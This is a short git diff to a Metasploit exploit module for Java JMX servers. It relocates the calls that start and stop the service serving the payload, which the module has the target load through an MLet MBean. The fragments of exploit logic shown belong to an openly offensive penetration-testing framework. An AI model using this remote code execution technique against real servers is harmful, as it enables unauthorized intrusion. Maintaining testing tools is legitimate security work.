diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb
index b2d1ab2b25..08d8ff79de 100644
--- a/modules/exploits/multi/misc/java_jmx_server.rb
+++ b/modules/exploits/multi/misc/java_jmx_server.rb
@@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def exploit
+    vprint_status("Starting service...")
+    start_service
+
     @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
     connect
 
@@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote
       method: 'run'
     )
     disconnect
+    vprint_status("Stopping service...")
+    stop_service
   end
 
   def is_rmi?
@@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def load_payload_from_url(conn_stub)
-    vprint_status("Starting service...")
-    start_service
-
     vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
 
     begin
@@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote
     rescue ::Rex::Proto::Rmi::Exception => e
       vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
       return false
-    ensure
-      vprint_status("Stopping service...")
-      stop_service
     end
 
     if res.nil?